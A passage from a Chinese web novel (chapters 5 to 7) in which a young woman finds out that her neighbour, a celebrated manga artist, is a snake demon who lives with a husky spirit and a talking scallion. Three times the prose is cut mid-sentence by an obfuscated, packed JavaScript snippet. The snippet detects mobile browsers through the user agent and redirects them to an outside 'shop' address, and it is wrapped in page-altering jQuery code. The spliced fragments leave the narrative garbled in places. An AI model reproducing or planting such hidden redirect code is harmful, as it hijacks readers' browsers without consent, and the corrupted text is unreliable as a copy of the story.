“啊啊啊好羡慕你能独居啊,你根本没法想象住在家里有对天天以嫌弃你为乐的父母是怎样的感受,每天都是从心灵到□□的无情鞭挞。上次我妈还说自从我回家住后,家里的蟑螂都多了,真是的,难道我还能繁殖蟑螂吗?”陈雨彤絮絮叨叨地吐着苦水,“要是我们杂志社也在京市就好了,这样我就能和你一起住,既能远离我妈的摧残又方便我每日催稿。” 说到最后她还不忘了自己的本职工作。 徐安容抽了抽嘴角,难得对好友的敬业之心生出了一丝钦佩。 见她久久没有回复,网线那头,陈雨彤又贱兮兮地发了条消息:“……怎么样,今天见着我们大神了吧?真人长得帅吧?” 虽然她是楚柯的编辑,但她们杂志社也就只有他的两张证件照,平时联系全靠手机、网线和快递,不过就算只有证件照,也足够看出大神是个帅哥了。 回忆起那张虽然冷淡但英俊的脸,徐安容发现她实在说不出违心的话。 “……帅。” “哇靠,你这么一说我更羡慕你了……” 闲聊了几句,徐安容忽然想到了一件事,想法才刚掠过脑海,手指已经快速地打了出来并且按下了发送。 “对了彤彤,你知道大神家里有养什么宠物吗?比如那种长条条滑溜溜会爬的宠物?” “你是说……蛇?”陈雨彤到底是跟徐安容做了三年同桌的女人,对方这么一形容就立刻猜到了说的是什么生物,只是她对楚柯的现实生活也不了解,更不用说从对方惜字如金的话语中打听到他养什么宠物。 “我不知道大神会养什么宠物,不过你这么问,难道是看到了什么?” “大概是错觉吧,我感觉自己好像有看到蛇,但是仔细看又什么都没有。”徐安容也觉得自己是眼花了,这么疑神疑鬼的不太好,刚要说不聊这个话题了,就看到朋友发了一句话过来。 “要不然你在家里屯点雄黄?你租的地方是老式居民屋吧?老房子容易生家蛇,屯点雄黄防虫驱蛇也正好。” 徐安容并不怕蛇,但也谈不上喜欢,而且就算邻居养了蛇当宠物,也不见得会爬到她这里,所以对于朋友的意见她略微考虑了一下就放到了一边。 “等真见着蛇影了再说吧。”她这么回复道。 …… 原本徐安容是这么想的,过了一夜她就改变了主意。 可能是日有所思夜有所梦,夜里她反反复复梦见了八岁那年夏夜里的白蛇。那条会发光的白蛇和当时一样,安安静静地趴在墙根下的草丛里,墙上开了半扇窗,橘色的灯光从里头透出来,说不出的温馨与安详。 她原先还以为那是截日光灯灯管,后来一想,哪有不接电就能发光的灯管?又当是窗子里透出来的光凝成的虚影,结果抬头一看,人屋里照的是橘色光。 她抛下古怪的白蛇,带着未知的恐慌与兴奋跑向自家的小院,身后却响起沙沙的声响,一回头,白蛇的血盆大口迎面朝她咬下。 徐安容被惊醒了。 醒来后她摸着背后的冷汗,打开了某电商网站输入了“雄黄粉”三字。 下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820011|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单的那一刻她还在想,之前说的话可能要打着脸收回来了,她不怕蛇的前提是,那条蛇和她没有亲密接触更不会咬人。 …… 周末的清晨显然是惬意的,尽管还有东西没有整理,阳台还没有打扫,也不能影响这一份惬意。徐安容看着显示购买成功的网页界面,被惊吓了一整晚的小心脏终于落到了实处,然后心情愉悦地开始做早餐。 刚搬新家,材料不够齐全,设备不够完善,徐安容只能简单地煎两个荷包蛋,配上火腿沙拉和吐司,做一个简易的三明治。饶是这样,当她咬着三明治走到阳台的时候,一转头就发现隔壁阳台的躺椅上,有一只哈士奇正目光灼灼地盯着自己……手里的三明治。 徐安容与哈士奇对视了三秒,忽然福至心灵地觉得自己可能点亮了新的技能点,比如说,和动物交流的能力? 不然为什么她从那只狗的眼睛里读出了“好想吃”的念头? 顶着哈士奇饿得几乎冒绿光的视线,徐安容毫无心理负担地将最后一口三明治送入嘴里,一边拍着手上的碎屑还一边还嘀咕:“也不是很好吃啊,味道一般般,难道大神还虐狗了?连狗粮都不给吃?” 大黄耳朵抖了抖,将她的碎碎念一字不落地听了进去,身后的尾巴摇了两下,再也摇不动了。 徐安容还真说对了,楚柯近来身体不适,还真有半个月没给他买过狗粮了,而且担心有人发现他们的不对劲,连外卖也不让点。虽然他们半个月不吃东西也没事,但是架不住有人在你隔壁炫耀啊。就算那只是个三明治,也比餐风饮露好啊! 不行,不能指望他了,还是得自食其力。 越想越不平衡,大黄跳下躺椅,迈着猫步进屋网购去了。开门的一瞬间,一阵熟悉的音乐从屋内飘了出来,一直飘到隔壁的阳台。 “当初是你要分开,分开就分开,现在又要用真爱把我哄回来……” 徐安容下意识往屋里找自己的手机,回头之后才意识到这是大神屋里传来的声音,细细听去,好像还是挺好听的女声。 想不到大神虽然看着高冷,品味还是挺平易近人的嘛。 她心想着,探头往对面屋里望了一眼,可惜拉着窗帘,什么也看不见。等大黄把移动门关上,连歌声也若有似无了。 果然大神还是大神,还是那么的神秘和高冷。不过能相安无事地当几年邻居也不算亏了,要是楚柯的那些迷妹知道自己成了她们男神的邻居,恐怕得羡慕哭吧。 …… 隔壁屋里。 楚柯戴着耳塞,一脸阴测测地站在电脑旁边,伸出手指按在关机键上。 “换不换歌?” 苗苗暂时切了耳麦,一脸革命同志面对阶级敌人时宁死不屈的表情。 “不换!” “哦。”楚柯面无表情地收回作恶的手指,顺手拔走了网线,“未成年小妖不宜过多上网,对视力不好。” “……” 大黄浏览着淘宝页面,分神看了眼这幼稚的俩妖,不屑地撇了撇嘴,低下头专心地选购着。 嗯……这次试试这个牌子好了。 5. 05 那条蛇在晒太阳 又是一个周末,难得的晴天。肆虐的狂风止息,露出澄澈蔚蓝的天空,虽然温度仍有些偏低,但阳光却暖和得仿佛春日。 徐安容抱着被子走到阳台晾好,迎着温暖而不刺眼的阳光伸了个懒腰,这才有闲心处理堆在阳台上的那箱快递。 快递箱里装的是雄黄。 下单那天,某电商网站正好有活动,满一百送一百,还有各种优惠券,再加上店铺里满十包送五包,她一不小心就买了多了点,导致最后快递小哥都不肯送上来,还是她一个人费了九牛二虎之力才从一楼搬到了七楼。 好吧,也许不只是多了点。 徐安容看着箱子里码得整整齐齐的一包包雄黄粉,开始思索如果挂二手网站上的话,能不能卖出去一点,不然她可能这辈子都用不完这么多。 她一边叹着气一边随手拆开了一包,浓烈而刺鼻的味道从包装袋中传了出来,她屏住了呼吸,目光在阳台的各个角落搜寻合适的位置,转到与703相邻的那一面时,她忽然愣住了。 有一截尖尖细细的东西从阳台边沿上垂了下来,在她的注视下,间或轻微地抽动两下。 那截东西是黑色的,细小的鳞片在阳光下泛着宛如金属质感的光芒,当然重点不在于它反什么光,重点在于它有鳞片,那是一截尾巴,一截疑似是蛇的尾巴。 徐安容心里打起了鼓,鼓声密集,心跳如雷。 她想这可能是她活了20多年来肾上腺素飙得最高的一次。 仿佛是上天和她开了一个恶意的玩笑,前一刻还在质疑那么多的雄黄用不用得完,下一刻就发现自家阳台上有了一截蛇尾,而且近得一抬手就能触摸到。 她两手捧着袋装的雄黄粉,打着哆嗦站起来,丝毫不敢惊动那一条黑蛇。等站直,顺着那条蛇尾往蛇头望过去,她忽然发现这条黑蛇可能比她想象的要巨大得多。 蛇的尾巴是从对面的阳台伸过来的。 而在对面的阳台上却…… 她揉了揉自己的眼睛,怀疑是自己蹲的久了出现了幻觉。 好友手下的那位大神家的阳台上摆了一张躺椅,而在躺椅上瘫着一条巨大的黑蛇。 黑蛇裹着灰色的厚毛毯,蛇头上盖了一个渔夫帽。 如果再戴上一副墨镜,边上放一顶遮阳伞,再放个小圆桌摆上几杯果汁,那妥妥是夏威夷海边度假风。 徐安容想,如果她看的没错,那条蛇应该是在晒太阳。 一条自己裹着毛毯还戴着渔夫帽的蛇,在晒太阳。 他看起来是那么悠闲自得,舒适惬意,那张蛇脸上甚至露出了一丝人性化的陶醉。 当然,这依然不是重点,重点是那条黑蛇未免大的太过分了。 大概是注视的时间过长,黑蛇隐约察觉到了什么,微微抬起了蛇头,向徐安容的方向望了过来。 两两相望。 徐安容甚至从那双冰冷的竖瞳中看见了自己的倒影。 下一刻,她惊声尖叫起来。 “啊——” 第一声尖叫才出口,剩下的就被人扼杀在了喉咙中。 黑蛇以一种非常不可思议的速度从阳台蹿了过去,将她压倒在身下。 “喂,你……”楚柯用尾巴尖戳了戳她鼓起来的脸颊,语气有些不耐烦的说道,“我放开你,你能不能不要叫?” 徐安容说不了话,只能瞪圆了眼睛盯着他。 她看着那张巨大的蛇嘴一张一合,猩红的舌头几乎要舔到自己脸上,如果不是现在被人遏制了声音,她的尖叫声大概可以媲美女高音家。 楚柯与她对望着,心里也很是无奈。 对面的房子空置了太久,久到他都忘记最近搬来了一个新邻居。这几天刚蜕完皮,天气又是难得的晴朗,他这才想到搬了椅子到阳台上晒晒太阳,谁知道竟然遇上了自己的新邻居,也是一时大意。 很显然有些事情瞒不过去了。 楚柯又用尾巴戳了戳她的脸,打定主意要与她好好沟通一下。 “你要是同意的话就眨一下眼睛。” 徐安容的脑海中闪过了梦到白蛇那晚的片段,可以吞下两个成年人的血盆大口将她一口吞下,吃完都不带吐骨头的。她看着近在咫尺的蛇嘴,拼命地眨了一下眼睛。 楚柯松了口气,稍稍放松了钳制。 徐安容也松了口气,下一秒她的手指摸到了掉落在身旁的那一袋雄黄粉。 原以为这么多雄黄粉没机会用完了,谁知道转机居然就在眼前。 一个大胆的念头像一道惊雷从徐安容脑海中闪过,她抖抖嗦嗦地捡起雄黄粉,趁着楚柯直起身子的瞬间,劈头盖脸地洒在了他身上。 一时间尘烟四溅。 徐安容等的就是这个机会。眼看楚柯被雄黄粉迷了眼睛,她挣扎着就要往屋里跑,后脚踝却被蛇尾紧紧地缠住了。 楚柯没有想到这女人口上答应的好好的,背地里却这么阴险,心中怒意上涌,没有忍住就扑上去咬了她一口。 很快,徐安容捂着脖子,铁青着脸倒在了地上。 倒地的前一刻她居然还有点庆幸——幸好没咬脸上。 漫天的雄黄粉渐渐散去,703的阳台上,被徐安容先前的尖叫声引来的一只哈士奇和一颗葱,目瞪口呆地看着发怒的楚柯。 一狗一葱,以怀揣着同情的目光地看看倒在地上的徐安容,再看看冷着脸的楚柯,异口同声地问道:“你准备接下来怎么办?” 楚柯此时已经变回了人形,一张冷淡的俊脸左一块右一块的粘着雄黄粉,看起来异常狼狈。 他一手扶着腰一手插在自己微乱的头发中,使劲扒拉了两下,更多的粉尘从里面掉了出来。 他没有说话,蹲下身,用手指戳了戳徐安容有些青肿的脸颊。 本来长相秀丽的女孩子,现在青肿着一张脸看起来除了有几分可怜,还有几分搞笑。 啧,真丑。 他捏着人家女孩子的脸,很是不要脸地想道,完全忘记了造成这一切的罪魁祸首就是他自己。 “宁得罪小人,勿得罪楚柯。”大黄看着凄凄惨惨戚戚的徐安容评价道。 苗苗在一旁帮腔:“小心眼的蛇妖惹不起,惹不起。” 楚柯抬起头,眯着眼冷冷地看了眼他们俩。 一狗一葱打了个寒噤,顿时不敢再说话。 他低下头继续打量着徐安容。被苗苗和大黄打断了一下,时间有点久了,蛇毒已经开始往身下蔓延。尽管是大冬天,穿得比较厚实,但他注意到徐安容露在外面的指尖有点泛青了。 该怎么办呢?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820012|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他纠结了一下,想了想重新变回了原形,蛇尾卷起徐安容,大摇大摆地往自己阳台上爬去。 苗苗瞠目结舌地指着昏迷的徐安容说道:“老蛇你这是拐带良家妇女啊!” 这架势怎么看着这么像山大王拐着压寨夫人回山呢? 大黄在边上试图阻止她口无遮拦:“苗苗不要乱说话,有些蛇是很小心眼的,小心他恼羞成怒。” 楚柯仿佛什么也没听到,连一个眼神都懒得施舍,径自往屋里爬去,把昏迷不醒的徐安容甩到了沙发上,然后打量了几眼,在她的脖子上又咬了一口。 瞅着肆意蔓延的蛇毒有了收敛的趋势,楚柯满意地点了点头,回自己房里去换衣服。他一走,苗苗和大黄就围了过来。 “大黄,你说她醒来后发现我们都是妖怪,会去报警吗?”苗苗甩了甩自己的小叶子,仗着体积小,身体轻盈,一下蹦到了徐安容的耳边。 “噗,近看果然很搞笑。”她端详着徐安容发肿的脸没忍住笑了出来。 大黄深沉地摇了摇头:“我不知道。” “那她怎么办?”苗苗问。 “看楚老大决定怎么办。”大黄说着在原地趴了下来,“等着吧,解完蛇毒还要半个小时才能醒呢。” …… 半小时后,徐安容准时醒来。 一睁眼,一道闪光灯自眼前闪过。 徐安容被灯光灼了一下眼,不由自主地眯上,只听见耳畔有一个娇俏的少女声音说道:“快看,她醒了!” 她循声望去,只见在自己耳畔有一颗会说话的葱,但看起来和平常的葱又有些不同。 它的底部是圆滚滚的白色茎块,上面长着两颗小黑豆似的眼睛,还有小小的嘴巴和鼻子,仿佛火柴人般细细长长的四肢从茎块中生长出来,此时正艰难地举着一台手机在朝她拍照。 这是……妖怪? 徐安容的表情出现了一丝石化,苗苗手疾眼快地抓拍了下来。 “哟嘿!拍到了拍到了!这表情真蠢!”苗苗兴高采烈地挥舞着手机。 徐安容:“……” 她忍着害怕,艰难地别过头,另一边站着的是一只哈士奇,上次在大神家里见过的那只哈士奇。 大黄与她对视了一眼,然后转过头朝不远处打着游戏的男人喊道:“楚老大,你不过来看看吗?” 会说话的……狗? 徐安容想怕不是她还没睡醒,要不然就是这个世界彻底坏掉了。 她好像是闯入了一个妖怪窟。 楚柯放下遥控器走了过来,几缕稍长的刘海在他眼前晃动,模糊了他投来的冰冷的视线。 他说:“还记得你刚才看到了什么吗?” 刚刚…… 她刚刚看见了一条巨大的黑蛇,那条黑蛇还咬了她一口。 徐安容盯着楚柯那张脸,眼前的世界开始眩晕起来。她意识到眼前这个男人,这个好友手下的大神,这个漫画界炙手可热的大神,居然是一条黑蛇变的。 他是妖! 这一屋子的生物都是妖! 妈呀,我今天的起床方式好像有点不对! 她的眼前再次一黑。 楚柯停住了脚步,挠了挠脑袋,迟疑地问道:“……我有说什么吓人的话吗?” 6. 06 妖怪窟 没人搭理他的自言自语,苗苗伸出小叶子小心翼翼地戳了一下徐安容,仿佛在做鉴定报告似的,一本正经汇报道:“她又晕过去了。” “是被老大你吓晕的。”大黄也转过头盯着楚科说道。 难道是因为最近熬夜赶稿,所以看上去长得丑了? 楚柯摸了摸下巴开始质疑自己的颜值,怀疑的念头一冒出来就立刻被否决了——不可能。 “要强行弄醒她吗?”大黄问。 “用不着,她已经醒了。”楚柯扬了扬下巴,示意大黄看她,沙发上徐安容眼皮颤了颤,再也装不下去,在三妖宛如X射线般赤/裸的眼神中缓缓睁开了眼。 “那个啥……嗨?”徐安容缩在沙发里,苦着一张小脸,胆颤颤地举起小手挥了挥手,不管窗外日头老高,睁着眼说瞎话,“天色不早了,我得回去做晚饭了,楚先生,我刚才什么也没看到,有什么事等我们有空再聊。”说完就想从沙发上下来,被苗苗揪住了衣角。 “小姐姐你别怕呀,我们不吃人的。”苗苗眨巴着黑豆似的小眼睛,安抚地拍拍她的手背,“我叫苗苗,这是大黄。”她指了指底下的哈士奇,又指向楚柯,“楚老大你也是认识的。我们都是大大的好妖精,不会对你怎么样的,你不要害怕。” 徐安容内心流着泪,心说能不害怕么,她活了二十六年第一次见到妖怪,整个世界观被刷新了一遍,没有三魂七魄吓得脱体升天已经算很有胆识了,还要她和这一屋的小妖怪你好我好大家好,那也太强人所难了。 “小姐姐你看我是植物成的妖,吃素的,从来不吃肉!”苗苗抖了抖小叶子,得寸进尺地跳到她掌心里,贴着她的手臂蹭了蹭。 楚柯和大黄看着她这不要脸的劲儿,齐齐在心里啐了一声——还不吃肉,平时吃个方便面都要把别人调料包里的牛肉块抠出来的是谁? 苗苗似有所觉,警惕地回头看了他们俩一眼,回过头又亲密地贴着徐安容讲话:“你看我这么可爱,小姐姐你忍心报警抓我们吗?” 徐安容下意识摇头:“不忍……呃……”她愣了一下,反应过来,“我什么时候说要报警了?” 苗苗的小眼睛里浮起一层水雾,委屈地巴眨巴眨:“以前有人知道我们是妖精,都想着要把我们抓起来送到研究所去解剖的。姐姐你也会这样做吗?” 两滴晶莹的水珠子挂在她眼角要掉不掉,头顶的葱叶蔫蔫地垂下来,小小的身体窝在徐安容手心里看起来颇为可怜。徐安容心疼极了,什么妖精,什么害怕,统统抛到了脑后,很忙赶紧揉了揉她的小叶子:“不会不会,你这么可爱,我怎么会把送去解剖呢?” “真的不会?”苗苗泪眼汪汪地看着她。 “肯定不会。”还没发觉自己受了影响的徐安容坚定地回答道,尽管她也觉得自己的情绪变化得有些快,但那一丝疑虑稍纵即逝,快得让她连尾巴都来不及抓住。 苗苗揪着她的一缕头发爬到肩头,脆生生道:“我已经告诉你我的名字了,姐姐你叫什么呀?”她一边瞄着徐安容的神情,一边给边上的二妖比了个“搞定”的手势。 楚柯双手抱臂站在那,要笑不笑地盯着她,没有半点要走开的意思。 果然,在徐安容说出自己的名字的时候,她的眼神闪了闪,像是突然找回了知觉,迷茫之色渐渐散去,那种小心翼翼的害怕又回到了脸上。 苗苗丝毫没有察觉到她的变化,依然亲亲热热地喊着“容容姐姐”,楚柯实在看不过眼,叹了口气,弯腰把苗苗从她肩头拽了下来,丢到大黄的背上,自己俯下身,一手撑在沙发边沿,压迫性十足地说道:“徐小姐,我们谈谈?” 徐安容在他的目光下越缩越里,恨不得变得和苗苗那般大小,直接钻进沙发缝隙。最终,躲到了边缘再也躲不过去了,她眼看楚柯的脸色越来越黑,眼神越来越冷,心惊胆颤地点了下头。 他说谈谈,应该就只是谈谈吧? 跟在楚柯身后进了书房,没有想象中的恐怖环境,室内装修是和客厅一样的简洁风,徐安容顿时松了口气,不是什么小黑屋就好,看此地风水就知道不宜杀人灭口。 “徐小姐。”楚柯客气地请她坐下,“你现在应该知道我们都是什么人了吧?” 还什么人,明明就是什么妖!蛇妖犬妖再加一葱精,充分证明了妖界生物的多样性。 徐安容琢磨着这话不能说,刚要否认,又听楚柯说:“既然要谈,我们都开诚布公一点比较好,你说是不是,徐小姐?” 徐安容咽回了那句“不是”,猛点着头:“您说得对。” “虽然我们并非人类,但从来也没做过恶,更没有伤害过人。因为妖类的身份往往不能在一个地方久居,我们每隔十年就要搬一次家,搬到这个小区才六年,目前还没有搬家的打算,徐小姐,我这么说你能明白吗?” 徐安容听着他没什么情绪的话语,明白他是在提醒自己不要在外面说什么不该说的话,又继续猛点头:“明白明白!” 楚柯冷峻的脸上浮现出一丝淡淡的笑意:“徐小姐果然是个善解人意的人。” 徐安容内心呵呵笑着,并不接话。 “可是……”他话音一转,“我怎么知道徐小姐不会现在答应得好好的,出了门就把我们的承诺丢到一边呢?” 就知道没有这么轻易放过她! 徐安容真是服了,死蛇妖疑心这么重,肯定小心眼是记恨她之前洒了他一脸的雄黄粉,还有外面那小葱精也不是什么好妖怪,不知道使了什么妖术,差点把她蒙晕过去。现在真是羊入虎口,九死一生,她都再三保证了会保守这个秘密,而且就算她跑出去满世界喊漫画界的大神楚柯是个修炼成精的蛇妖,别人也只会当她工作压力太大,暂时性精神失常,这几个妖怪还想要她怎样!要怎样! 她忿忿地瞪着楚柯波澜不惊的脸,对上他显得有些冰冷的眼神,鼓足勇气问道:“你们到底想要我怎么做?” “徐小姐希望我们怎么做?”楚柯好整以暇地看着她反问道。 “我今天什么都没看到,什么也没听到,一切无事发生,你们放我回家好不好?”徐安容试探着。 楚柯轻轻摇头。 “那我发个毒誓?”徐安容继续试探。 “不行。” 楚柯屈起手指敲了敲桌子,语气平平道:“徐小姐,我们是很有诚意地在和你谈。” 徐安容抓狂:“我也是很有诚意的啊!” 楚柯眼神似有些轻蔑地看她:“发毒誓?你怎么不说签份合同呢,白纸黑字打印下来不是更好?” “你要同意也可以……” 她看着楚柯投过来轻飘飘的一眼,安静地闭上了嘴。 笃笃笃,书房安静得只能听见他的指节有节奏地敲击桌面的声音。沉默了片刻,楚柯大约是想到了办法,停下了手上的动作。 “这样吧,我给你下一个咒。” 咒? 咒! 徐安容的小心肝又颤了起来:“我可以拒绝吗?” 那双漂亮的眸子斜睨着她:“你说呢?” 得,要她不答应,今天估计是走不出703的大门了。 徐安容想着他咬在自己脖子上的那一口,非常怂包地妥协了。按照吩咐,撩起衣袖露出白皙的手腕,她闭着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820013|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别过头,哆嗦着伸到楚柯面前。 “你说的啊,不会有什么副作用的。” 楚柯扬眉:“只要你对这件事守口如瓶,那么这个咒对你毫无影响。” 微凉的指腹在她的腕上勾勒而过,笔走龙蛇,短短一瞬就好像写下了无数符文。徐安容感觉不出他写了什么,也不想去探究,只隐约觉得是很复杂的笔画。她咬着唇,偷偷回头望了一眼,正好楚柯写到收尾,抬起了手指。 “好了。” 这就好了? 徐安容抬起手腕凑近看了看,白皙细腻有光泽,看不出什么不同来。 “不信?那你可以试试?”楚柯说道。 她赶紧捂住手腕,摇了摇头。妖怪都有了,有诅咒自然也很正常,这种试一下就没命的诅咒,她才不要实验呢。 “那我现在可以走了吧?” 楚柯刚要点头,正巧手机响了,他看了眼备注,收回了到嘴边的话,当着徐安容的面点了接通键并且打开扩音。一个熟悉的女声从手机里传了出来,徐安容顿时睁大了眼睛——这个声音,是陈雨彤! “……下一期的稿子?我知道,我会提前给你的。” “可以,我这里没有问题。” “行,就按你说的做。上次的合同我等下上线就发你。哦,对了——” 楚柯接着电话,看她要动不敢动,要说话又不敢说的样子,觉得实在有趣极了。聊了几句漫画上的事,便将话题扯到了她身上。 “上次你拜托来找我的那个女孩子叫什么?”他刻意走近了几步,徐安容立刻像小白兔似的往后缩了缩。 陈雨彤在手机那头一听这话,眼睛瞬间亮了:哎哟卧槽,这特么妥妥是奸/情开始的前奏啊! 楚柯才起了个头,她就已经联想到了两人牵手约会上床结婚生娃再到生不生二胎的问题,于是不假思索地爆出徐安容的个人信息,还特意在“单身”两字上加了重音。 彤彤啊!知人知面不知心,你认识的这位大神根本不是黄金单身汉,人家是黄金单身妖啊!种族不同怎么谈恋爱! 徐安容死死盯着喋喋不休的扩音器,从未像现在这一刻一样,恨不得冲过去堵住陈雨彤的嘴。但她也不敢发出什么动静,不然让陈雨彤知道她待在楚柯的家里,不知又要脑补出什么来,到时更是有嘴也说不清。 苗苗顶着一方小茶托进来给他们俩倒茶,眼睛瞅瞅打电话的楚柯,又看看欲哭无泪的徐安容,露出一个会意的笑容,蹦蹦跳跳又出去了。 等从楚柯家出去,徐安容已经身心俱疲。背后门刚关上,她的手机铃也响了。接起来一听,陈雨彤叽叽喳喳的声音就传了过来:“容姐!报告一个好消息!咱杂志社的楚大神好像对你有点意思,刚刚还向我打听你来着,争取把他拿下啊!像这样有才有颜还有钱的王老五不多了……” 徐安容面无表情地掐断了通话。 刚刚她出卖她个人信息的时候,她可是看了全程直播的,论细节,她再清楚不过了。 她发誓,她再也不会踏足703一步,再也不想见到楚柯这个家伙!她要搬家!她……呃……她要收回刚才的誓言。 徐安容饱含泪水地望着自家紧闭的大门,摸遍了全身大小口袋也没发现钥匙的行踪,这才想起来她是在自家阳台被掳到楚柯家的,换句话说就是——她没带钥匙进不去了。 703的大门再度被人拍响,苗苗原先正/念叨着“老蛇你坑蒙拐骗是不好的,太阴险了,还骗人家小姐姐下了咒,你……”她回头跳起来往猫眼望了望,顿时伸长了脖子朝书房吆喝道:“老蛇,快来开门啦,对门的小姐姐又来敲门了!” 7. 07 哈士奇精与葱 那一天,徐安容是从阳台爬回家的。 多亏了设计师本着邻里和谐相处的人文理念将对门两户的阳台设计得如此之近,不然她也没办法手脚并用地爬回去。可转念一想,要不是这该死的设计师把阳台设计成这样,楚柯怎么会在晒太阳的时候不小心把尾巴尖伸了过来,教她正好撞见?遂又愤愤而骂,亲切问候其祖上十八代。 骂过之后,也就只好认命。 不就是保守秘密么,她一向最守信用了,大不了不再和对门接触就是了。只要她不说,那个咒就不会有任何影响,而且想想楚柯那张俊朗的脸,其实妖怪也没那么可怕不是? 徐安容想着忍不住微微翘起了嘴角,抱着笔记本在床上翻滚了一圈,许久没人搭理暗下来的屏幕映出她脸上的那丝笑意,她赶紧揉了揉双颊,重新唤醒界面。 疯了疯了,想什么呢!一定是太久没有接触过优质男人了,王姐说要给她介绍对象她还没答应,回头得找个时间说一下,毕竟楚柯他…… 啪啪啪。 阳台的玻璃门被人敲响了。 为了接受清晨的阳光的照耀,遮光的落地窗帘早被她拉到了一边,透明的移动拉门外清清楚楚地显出一大一小两个身影——坐得端端正正的哈士奇和趴在他头上使劲拍着门的小葱妖。 “容容姐,我来找你啦~”小葱妖拖长了尾音,语气是格外的欢快。 毕竟楚柯他们不是人啊! 徐安容埋首在被子里,浑身细胞都在拒绝开门。苗苗看她一动不动,狡黠地笑了笑,继续锲而不舍地拍门,“容容姐容容姐”的喊个不停。 陆北亭小区是有几十年历史的老式居民屋,位置五环开外,年轻点的人都往市中心跑,渐渐的除了像徐安容这样的租客,小区里留下来的都是些老爷爷老太太。16幢所处也很巧,既是在最后一排角落,前面又正好有一片空地,可以说前后左后都没有什么人会发现704的阳台上有个小妖怪在叫门。 但也只是没有什么可能而已。 徐安容头疼地站起来替他们俩开了门,两小妖大摇大摆走进来,苗苗乳燕投林似的一猛子扎进她怀里,亲昵地蹭蹭。 “容容姐,好久没见你啦,我可想你了。” 徐安容伸出一根手指抵着她小脑袋把她推远了些:“前天晚上你才来过。你不是想我,你只是想我做饭吧?” 自从她得知了邻居一家的秘密后,这两个家伙就时不时跑到她家来蹭吃蹭喝。第一次是从楚柯家回来的隔天晚上,她下班回来煮了份咖喱饭,正要边看电视边下饭,玻璃门也是像现在这样响了起来,那会儿苗苗还羞涩,乖巧地站在外面细声细气问:“容容姐姐我可以进来吗?” 惧于隔壁蛇妖的淫/威,苗苗和大黄的外表又实在有欺骗性,尽管心里仍有一丝害怕,徐安容还是心软地把他们放了进来。虽然换一个角度想,即使她真不开门人家也未必就进不来,但引狼入室也是事实。 她不知道能和俩小妖玩什么,就和他们一起看电视,苗苗趴在笔记本前看看电视剧,再看看徐安容扒拉着咖喱盖浇饭的模样,十分忧伤地叹了口气。 “容容姐姐……”她软软地叫道。 徐安容食不知味地看着电视剧里的男女分分合合,顺口答了一句:“嗯?” “我饿。”苗苗轻轻地拉了拉她的衣袖,黑豆眼望着她碗里的咖喱流露出一种名为垂涎的目光。 徐安容:“……” 苗苗眨巴着眼:“容容姐姐?” 徐安容:“……”半晌她才说道,“锅里还有一点,我给你们盛出来。” “容容姐你最好了!”苗苗笑眯眯地说道。 自此赖上。 …… 思绪收回,徐安容看着怀里的小葱妖,深深地叹了口气,遇妖不淑,遇妖不淑啊! 小葱妖对她的话也不否认,抱着她的手指甜甜叫:“容容姐~” 哈士奇也仰头看着她:“容容小姐……” 徐安容捂脸:“好吧,我知道了。” 于是带他们俩去厨房,一时间锅碗瓢盆叮当之声不绝,半小时后,三碗清汤面端上了桌。徐安容原本还想大黄不方便吃呢,结果看他一双筷子使得比她还溜,也就没话说了。 “楚柯……是不是虐待你们俩了?” 徐安容瞄着他们干干净净的面碗,没忍住问了一句。这八百年没吃过饭的架势也实在太吓人,隔壁某蛇在她心里原本就不怎么高大的身影又缩小了几寸,并且盖上了不是好妖的标签。 苗苗吸溜着最后一根面条,摇摇头:“没有啊。” 她掰起手指数了数,最后比了一个“七”:“也就是让我们吃了七天方便面而已。”她坐在桌沿晃着两条小细腿,“老蛇说了,反正我们是妖嘛,不吃饭也可以的,就不要那么挑啦,方便面储存起来还方便,他最近赶稿很忙的,没有时间管我们。” 但她是有追求的妖,怎么可能满足于区区不同口味的方便面,偏偏这几天天冷得越发厉害了,仅有的几家外卖也不肯再送过来,只好跑到徐安容这里混吃混喝。 她挑起大拇指:“容容姐,你的手艺真的一级棒!” 和泡面对比出来的一级棒怎么想也不觉得开心。 “超棒。”大黄也一脸认真地点点头。 徐安容捂着脸心想就算你们这么夸我,我也并不希望你们一直来蹭饭,这一招对我是没用的!没用的! “可容容姐你明明笑得很开心啊。” “闭嘴啦!” …… 恼羞成怒地夺碗而逃,照例丢下哈士奇和小葱妖瘫在床上看电视,徐安容洗完碗筷回来,却见苗苗正襟危坐,满脸严肃地盯着她,笔记本悄然无声,并没有播放她平时在追的那部古装剧。 “怎么了这是?”徐安容第一次见她露出这样的神情,愣了愣。 “容容姐,你是不是想搬家?”苗苗指着电脑屏幕说,“我看见你在查租房信息了。” 